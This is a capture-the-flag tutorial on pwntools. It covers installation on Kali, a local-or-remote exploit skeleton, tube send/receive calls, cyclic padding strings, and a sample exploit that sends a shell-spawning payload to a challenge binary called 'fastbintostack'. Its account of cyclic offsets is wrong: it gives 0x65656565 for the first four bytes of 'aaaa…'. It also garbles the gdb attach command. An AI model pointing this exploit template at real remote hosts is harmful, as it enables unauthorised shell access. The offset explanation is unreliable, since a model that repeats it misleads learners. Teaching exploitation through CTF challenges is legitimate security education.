To install pwn tools on kali type the following commands:
$ apt‐get update
$ apt‐get install python2.7 python‐pip python‐dev git libssl‐dev libffi‐dev build‐essential
$ pip install ‐‐upgrade pip
$ pip install ‐‐upgrade pwntools
Some cases we need to use pip2 instead of pip in kali linux.
During a pwn challenge solutions we can download the binary of the task (some cases the source as
well) in order to exploit it locally. A copy of the binary is running remotely but we have the flag file
placed on the remote server too. So when the local exploit is ready we can apply it to the remote
system to get a shell and cat the flag.txt file. Because of that I prefer to use the following main
method for the exploit. (I took the code from the babyheapexploit.py file form uaf.io:
http://uaf.io/exploitation/2017/03/19/0ctf‐Quals‐2017‐BabyHeap2017.html )
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['./fastbintostack'], env={})
print util.proc.pidof(r)
pause()
exploit(r)
The main method considers two options. If there’s no parameter for the python file it will start locally
a new process with the indicated filename. This time this is the fastbintostack binary. If there are
more than one parameters, it will connect to the host and port provided in the parameters and do
the exploitation remotely.
If the library is also given we can load it as well using the env variable:
r = process(['./babyheap'], env={"LD_PRELOAD":"./libc.so.6"})
As it can be seen we used the log.info to write the usage and we also print out the process id if it is
executed locally. Another good idea is to use the pause() before the exploitation so that we could
attach to the process with gdb (gdb –p processed) before the exploitation starts and monitor the
virtual address space. The whole exploit is written in the exploit method. Of course the pause can be
applied any part of the exploit method again to catch a special part of the exploitation with the
debugger.
The basic communication with the binary is provided by the pwlib.tubes
( http://docs.pwntools.com/en/stable/tubes.html#pwnlib.tubes.tube.tube). Two of the main
elements are the send and the receive commands.
For example: recv(numb = 4096, timeout = default) → str receives bytes specified with the number
and converts it to string. recvline(keepends = True) → str do the same but until a new line (\n) is
received. For a command line interactive program we can use the receiveuntil command where we
can specify the last input character(s).
r.recvuntil('> ')
Similar to that we can send data to the application through the tube with the send command and its
combinations:
r.sendline('a')
r.sendlineafter('> ', 'f')
After having the shell we can connect with the interactive() command. Interactive does simultaneous reading
and writing through the tube.
r.interactive()
With the cyclic library (pwnlib.util.cyclic) we can create special strings that contain cyclic elements. For example
if we don’t know the necessary length of the padding we can generate a string like:
>>> cyclic(20)
'aaaabaaacaaadaaaeaaa'
If the first 4 bytes overwrites the return address then we will see 0x65656565 as return value. In case of the
second 4 bytes that will be 0x65656566 and so on.
We can also use the metasploit style strings:
>>> cyclic_metasploit(32)
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab'
According to this the full exploit will look like something like that:
#!/usr/bin/env python
from pwn import *
import sys
def exploit(r):
r.recvuntil('> ') # command for receiving data
r.sendline('a') # commands for sending data
r.sendlineafter(': ', '20') # commands for receiving and sending data
# sending the payload after the appropriate initialization
r.sendlineafter(': ', '\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42')
r.interactive() #connecting to the process through the tube
# the main function
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['./fastbintostack'], env={})
print util.proc.pidof(r)
pause()
exploit(r)